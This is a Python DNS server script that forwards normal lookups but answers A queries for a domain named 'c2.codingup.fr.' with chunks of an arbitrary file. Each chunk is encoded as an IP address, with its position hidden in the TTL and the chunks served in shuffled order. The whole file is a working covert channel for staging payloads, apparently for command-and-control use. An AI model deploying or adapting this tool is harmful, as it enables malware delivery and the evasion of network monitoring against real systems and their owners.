#!/usr/bin/env python3

#
# (Loosely) based on https://github.com/supriyo-biswas/filtering-dns-server
# 

import dns.exception
import dns.flags
import dns.message
import dns.rcode
import dns.resolver
import socket
import socketserver
import sys
import threading
from random import sample

dns.resolver.default_resolver = dns.resolver.Resolver()
dns.resolver.default_resolver.nameservers = ['1.1.1.1']
SPOOF_DOMAIN = 'c2.codingup.fr.'

def gen_file_part(filename):
    data = open(filename, 'rb').read()
    if len(data)%4 != 0:
        data += b'\00' * (4-len(data)%4)
    data = [ data[i:i+4] for i in range(0, len(data), 4)]
    for i in sample(range(len(data)), k=len(data)):
        yield i, data[i]


def spoof_response(name):
    try:
        ttl, part = next(file_gen)
        ip = '.'.join([ str(x) for x in part])
        answer =  dns.rrset.from_text(name, ttl, dns.rdataclass.RdataClass.IN, dns.rdatatype.RdataType.A, ip)
        return ( dns.rcode.NOERROR, [answer], [], [])
    except StopIteration:
        return (dns.rcode.NXDOMAIN, [], [], [])


def dns_query(name, rdclass, rdtype):
    try:
        result = dns.resolver.resolve(name, rdtype, raise_on_no_answer=False)
        response = result.response
        rv = (
            response.rcode(),
            response.answer,
            response.authority,
            response.additional,
        )
    except dns.exception.DNSException as e:
        if isinstance(e, dns.resolver.NXDOMAIN):
            rcode = dns.rcode.NXDOMAIN
        elif isinstance(e, dns.resolver.NoMetaqueries):
            rcode = dns.rcode.REFUSED
        else:
            rcode = dns.rcode.SERVFAIL
        rv = (rcode, [], [], [])
    return rv


def make_response(query):
    response = dns.message.Message(query.id)
    response.flags = dns.flags.QR | dns.flags.RA | (query.flags & dns.flags.RD)
    response.set_opcode(query.opcode())
    response.question = list(query.question)
    return response


def handle_query(raw_data, client_ip):
    try:
        query = dns.message.from_wire(raw_data)
    except dns.exception.DNSException:
        return

    print(f'> Query from {client_ip}: {query.question[0]}')

    if len(query.question) != 1:
        return

    name = str(query.question[0].name).lower()
    rdtype = query.question[0].rdtype
    rdclass = query.question[0].rdclass

    if name == SPOOF_DOMAIN and rdtype == dns.rdatatype.RdataType.A:
        result = spoof_response(name)
    else:
        result = dns_query(name, rdclass, rdtype)
    response = make_response(query)
    
    response.set_rcode(result[0])
    response.answer = result[1]
    response.authority = result[2]
    response.additional = result[3]

    print(f'< Response to {client_ip}: {dns.rcode.to_text(result[0])} {result[1]}')

    return response


class UDPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        raw_data, socket = self.request
        response = handle_query(raw_data, self.client_address[0])

        if response is None:
            return

        raw_response = response.to_wire()
        if len(raw_response) <= 512:
            socket.sendto(raw_response, self.client_address)
        else:
            response.flags |= dns.flags.TC
            socket.sendto(response.to_wire()[:512], self.client_address)


class ThreadedUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
    pass


def run_server():
    ThreadedUDPServer.allow_reuse_address = True
    ThreadedUDPServer.address_family = socket.AF_INET6

    udp_server = ThreadedUDPServer(('', 53), UDPHandler)
    udp_server_thread = threading.Thread(target=udp_server.serve_forever)
    try:
        udp_server_thread.start()
        udp_server_thread.join()
    except (KeyboardInterrupt, SystemExit):
        pass
    finally:
        udp_server.shutdown()
        udp_server.server_close()


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f'Syntax: {sys.argv[0]} <file>')
        exit(-1)
    file_gen = gen_file_part(sys.argv[1])
    run_server()